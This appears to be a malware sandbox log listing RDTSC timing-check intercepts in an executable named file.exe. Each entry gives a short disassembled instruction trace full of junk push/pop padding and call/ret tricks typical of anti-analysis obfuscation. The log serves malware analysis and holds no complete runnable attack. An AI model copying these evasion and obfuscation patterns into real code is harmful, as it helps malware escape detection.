Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA298 second address: 7CA29E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C948F second address: 7C9499 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F76A4C44F4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA29E second address: 7CA308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F76A53AB96Fh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F76A53AB968h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 jmp 00007F76A53AB978h 0x0000002e push 00000000h 0x00000030 cld 0x00000031 push 00000000h 0x00000033 mov bl, 70h 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 jnl 00007F76A53AB966h 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA308 second address: 7CA30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA30E second address: 7CA312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA514 second address: 7CA527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jg 00007F76A4C44F46h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD499 second address: 7CD49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE5A8 second address: 7CE5BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C44F52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD681 second address: 7CD687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD720 second address: 7CD72A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F76A4C44F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD72A second address: 7CD72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0DD7 second address: 7D0DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0DDB second address: 7D0DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B96 second address: 7D4B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B9A second address: 7D4BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a cld 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F76A53AB968h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1EA5h], edi 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D2964h] 0x00000035 xchg eax, esi 0x00000036 jg 00007F76A53AB970h 0x0000003c push eax 0x0000003d pushad 0x0000003e jc 00007F76A53AB96Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5CD3 second address: 7D5CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76A4C44F46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE74F second address: 7DE753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE753 second address: 7DE792 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C44F4Ch 0x00000007 jmp 00007F76A4C44F57h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F76A4C44F55h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE792 second address: 7DE798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE8D1 second address: 7DE91B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F76A4C44F4Fh 0x0000000b popad 0x0000000c jmp 00007F76A4C44F4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F76A4C44F58h 0x00000019 jmp 00007F76A4C44F4Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E54BA second address: 7E54CB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F76A53AB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E54CB second address: 7E54E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C44F58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E54E7 second address: 7E5506 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76A53AB971h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5506 second address: 7E550A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E550A second address: 7E5514 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F76A53AB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5669 second address: 7E569B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F76A4C44F4Ch 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F76A4C44F59h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E569B second address: 7E56B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A53AB96Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F76A53AB966h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E56B7 second address: 7E56BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E56BB second address: 7E56CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F76A4C93C16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5824 second address: 611A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A540C8E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3AD6B824h 0x00000010 pushad 0x00000011 jnp 00007F76A540C8D9h 0x00000017 movzx eax, bx 0x0000001a and dx, 720Bh 0x0000001f popad 0x00000020 push dword ptr [ebp+122D03B5h] 0x00000026 jmp 00007F76A540C8E4h 0x0000002b call dword ptr [ebp+122D36CCh] 0x00000031 pushad 0x00000032 ja 00007F76A540C8ECh 0x00000038 xor eax, eax 0x0000003a mov dword ptr [ebp+122D23A0h], ebx 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 cld 0x00000045 mov dword ptr [ebp+122D2CC0h], eax 0x0000004b pushad 0x0000004c jmp 00007F76A540C8E2h 0x00000051 popad 0x00000052 mov esi, 0000003Ch 0x00000057 mov dword ptr [ebp+122D1FBEh], ecx 0x0000005d add esi, dword ptr [esp+24h] 0x00000061 mov dword ptr [ebp+122D1EA0h], eax 0x00000067 jnc 00007F76A540C8E1h 0x0000006d lodsw 0x0000006f clc 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 cld 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 pushad 0x0000007a mov esi, 33349F84h 0x0000007f xor dword ptr [ebp+122D1EA0h], edx 0x00000085 popad 0x00000086 push eax 0x00000087 pushad 0x00000088 push eax 0x00000089 push edx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9606 second address: 7E9622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A4C93C26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9622 second address: 7E962D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F76A540C8D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E962D second address: 7E9656 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76A4C93C21h 0x00000008 pushad 0x00000009 jmp 00007F76A4C93C23h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E97AB second address: 7E97B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E97B1 second address: 7E97BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E97BA second address: 7E97D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jc 00007F76A540C902h 0x0000000f ja 00007F76A540C8ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E97D1 second address: 7E97EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A4C93C20h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007F76A4C93C16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9AA3 second address: 7E9AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9AA7 second address: 7E9AB1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F76A4C93C16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C03 second address: 7E9C2A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76A540C8D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76A540C8E1h 0x00000015 jnl 00007F76A540C8D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C2A second address: 7E9C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C2E second address: 7E9C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9D82 second address: 7E9D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9D88 second address: 7E9D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F03E8 second address: 7F03F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F76A4C93C16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F03F4 second address: 7F03FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F03FC second address: 7F0409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F76A4C93C22h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0409 second address: 7F041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F76A540C8D6h 0x0000000a popad 0x0000000b jng 00007F76A540C8EFh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4FB8 second address: 7F4FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4FBC second address: 7F4FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4568 second address: 7F456C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F456C second address: 7F4586 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F76A540C8E5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4586 second address: 7F4590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5265 second address: 7F5272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F76A540C8D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5272 second address: 7F5278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5278 second address: 7F527C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F527C second address: 7F5282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5282 second address: 7F528E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBA48 second address: 7FBA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F76A4C93C1Ch 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8D0 second address: 7FA8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8D6 second address: 7FA8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8DE second address: 7FA915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F76A540C8D6h 0x0000000a pop edx 0x0000000b jns 00007F76A540C8EEh 0x00000011 jo 00007F76A540C8E2h 0x00000017 jne 00007F76A540C8D6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA02B second address: 7BA088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 xor dword ptr [ebp+122D1EAEh], edi 0x0000000f mov ecx, dword ptr [ebp+122D2AC0h] 0x00000015 lea eax, dword ptr [ebp+1247BE47h] 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F76A4C93C18h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 jc 00007F76A4C93C1Ch 0x0000003b mov dword ptr [ebp+122D1D5Eh], edx 0x00000041 push eax 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F76A4C93C22h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA088 second address: 7BA08C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA08C second address: 7BA09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F76A4C93C16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA8E4 second address: 7BA95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F76A540C8E3h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 jnl 00007F76A540C8E7h 0x00000016 xchg eax, esi 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F76A540C8D8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D17E8h] 0x00000037 mov edx, dword ptr [ebp+122D2CC8h] 0x0000003d nop 0x0000003e jmp 00007F76A540C8E1h 0x00000043 push eax 0x00000044 pushad 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB0B5 second address: 7BB107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C93C26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F76A4C93C18h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 add ecx, dword ptr [ebp+122D392Ch] 0x0000002a push 0000001Eh 0x0000002c mov dword ptr [ebp+124466B4h], edi 0x00000032 nop 0x00000033 pushad 0x00000034 push ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB25B second address: 7BB288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76A540C8E0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F76A540C8E1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB288 second address: 7BB28C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB28C second address: 7BB295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB295 second address: 7BB29B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB446 second address: 7BB4AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A540C8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007F76A540C8E2h 0x00000010 nop 0x00000011 add dword ptr [ebp+122D305Ah], ecx 0x00000017 lea eax, dword ptr [ebp+1247BE8Bh] 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F76A540C8D8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F76A540C8E7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAEE1 second address: 7FAEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAEEA second address: 7FAEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F76A540C8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAEF4 second address: 7FAF04 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76A4C93C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAF04 second address: 7FAF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAF0A second address: 7FAF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB35F second address: 7FB363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB363 second address: 7FB39A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76A4C93C16h 0x00000008 jg 00007F76A4C93C16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F76A4C93C29h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F76A4C93C16h 0x0000001d jnp 00007F76A4C93C16h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFF8B second address: 7FFF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800378 second address: 8003A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a jng 00007F76A4C93C16h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F76A4C93C29h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8004E9 second address: 800506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A540C8E0h 0x00000009 push ebx 0x0000000a je 00007F76A540C8D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8007BA second address: 8007BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
